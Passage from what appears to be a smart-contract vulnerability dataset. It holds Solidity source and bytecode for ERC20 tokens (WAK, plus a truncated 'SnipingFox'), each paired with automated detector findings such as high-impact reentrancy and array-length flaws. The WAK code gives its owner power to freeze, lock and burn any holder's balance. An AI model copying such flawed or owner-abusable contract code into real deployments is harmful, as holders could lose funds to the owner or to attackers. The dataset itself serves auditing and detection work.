b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203688a9b4097b2283a5e8f7a5c046637a7ecc661f972227bb45b96b8328a7d30964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,911
0xf9b39c2040e820ecde124ded37dd7a42900cbc61
// ---------------------------------------------------------------------------- // Worldwide Application from Korea Contract // Name : Worldwide Application from Korea // Symbol : WAK // Decimals : 18 // InitialSupply : 10,000,000,000 WAK // ---------------------------------------------------------------------------- pragma solidity 0.5.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract WorldwideApplicationfromKorea is ERC20 { string public constant name = "Worldwide Application from Korea"; string public constant symbol = "WAK"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 10000000000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already Owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105dc565b604080519115158252519081900360200190f35b6102586105f2565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105f9565b6102a86106e0565b6040805160ff9092168252519081900360200190f35b6102586106e5565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106f5565b6102fa610736565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b0316610823565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108cc565b6040805192835260208301919091528051918290030190f35b61023c610945565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610955565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109ef565b6102fa610c9d565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d86565b6103f7610e32565b604080516001600160a01b039092168252519081900360200190f35b61019b610e41565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e63565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f61565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f9d565b610258600480360360408110156104b557600080fd5b506001600160a01b038135811691602001351661106f565b61023c600480360360608110156104e357600080fd5b506001600160a01b03813516906020810135906040013561109a565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112b7565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112d2565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b0316611441565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b031661145f565b6040518060400160405280602081526020017f576f726c6477696465204170706c69636174696f6e2066726f6d204b6f72656181525081565b60006105e93384846114bc565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106535760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106c45760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106cd846115ae565b6106d88484846117d1565b949350505050565b601281565b6b204fce5e3e2502611000000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105e9918590610731908663ffffffff61182316565b6114bc565b6003546001600160a01b031633146107875760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107e85760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108745760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108f357fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061092857fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109ce576001600160a01b038416600090815260056020526040902080546109c49190839081106109a357fe5b9060005260206000209060020201600101548361182390919063ffffffff16565b915060010161095a565b506109e8816109dc85611880565b9063ffffffff61182316565b9392505050565b6003546001600160a01b03163314610a405760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610aaf5760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610b11919083908110610ad857fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61182316565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b6557fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610bb057fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c6f576001600160a01b038216600090815260056020526040902080546000198101908110610c1257fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c5057fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c98906000198301611bc2565b505050565b6003546001600160a01b03163314610cee5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d455760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dd75760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060038152602001600160e81b6257414b0281525081565b6003546001600160a01b03163314610eb45760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610ebd82611880565b811115610f145760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f1e828261189b565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105e9918590610731908663ffffffff61196516565b3360009081526004602052604081205460ff16156110055760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561105c5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b611065336115ae565b6109e883836119c5565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110ee5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841661114c5760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b600354611161906001600160a01b0316611880565b8311156111b85760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111e3908463ffffffff61196516565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d31833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146113235760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b8161132d84611880565b10156113835760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b0383166000908152602081905260409020546113ac908363ffffffff61196516565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b031633146114b05760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114b9816119d2565b50565b6001600160a01b03831661150457604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d976024913960400191505060405180910390fd5b6001600160a01b03821661154c57604051600160e51b62461bcd028152600401808060200182810382526022815260200180611d0f6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117cd576001600160a01b03821660009081526005602052604090208054429190839081106115f857fe5b906000526020600020906002020160000154116117c5576001600160a01b03821660009081526005602052604090208054611638919083908110610ad857fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061168c57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116d757fe5b60009182526020808320600160029093020191909101929092556001600160a01b03841681526005909152604090205460001901811461179a576001600160a01b03821660009081526005602052604090208054600019810190811061173957fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061177757fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117c3906000198301611bc2565b505b6001016115b1565b5050565b60006117de848484611a8c565b6001600160a01b038416600090815260016020908152604080832033808552925290912054611819918691610731908663ffffffff61196516565b5060019392505050565b6000828201838110156109e85760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118e357604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d516021913960400191505060405180910390fd5b6002546118f6908263ffffffff61196516565b6002556001600160a01b038216600090815260208190526040902054611922908263ffffffff61196516565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d31833981519152929081900390910190a35050565b6000828211156119bf5760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105e9338484611a8c565b6001600160a01b038116611a305760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611ad457604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d726025913960400191505060405180910390fd5b6001600160a01b038216611b1c57604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cec6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b45908263ffffffff61196516565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b7a908263ffffffff61182316565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d3183398151915292918290030190a3505050565b815481835581811115610c9857600083815260209020610c98916105f69160029182028101918502015b80821115611c065760008082556001820155600201611bec565b5090565b6001600160a01b038216611c685760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c7b908263ffffffff61182316565b6002556001600160a01b038216600090815260208190526040902054611ca7908263ffffffff61182316565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d318339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a72305820eb03ed0bf4e4546e34875c527168aa6ed84a409fde987e38b383a44fd124d8480029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,912
0x71f025713ed23b4cd1763c2f1f6e40eb14bcd19e
/** *Submitted for verification at Etherscan.io on 2022-03-29 */ /** 🦊 SnipingFox - $SnipingFox 🦊 Telegram: https://t.me/SnipingFoxPortal Twitter: https://twitter.com/snipingfoxeth Website: https://snipingfox.io Tokenomics: 🔫 6% Sniping Tax 🔫 4% Marketing Tax 🔫 2% Team Tax */ pragma solidity ^0.8.4; // SPDX-License-Identifier: Unlicensed abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SnipingFox is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SnipingFox";// string private constant _symbol = "SnipingFox";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 12;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 12;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x92C8D46c2eD2af0A19cFAa1e68f7Bb5b8dc05aaF);// address payable private _marketingAddress = payable(0x59233cc2Ac67B81E130BeB320a3d4E2492f3307E);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000000 * 10**9; // uint256 public _maxWalletSize = 10000000000 * 10**9; // uint256 public _swapTokensAtAmount = 1000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit 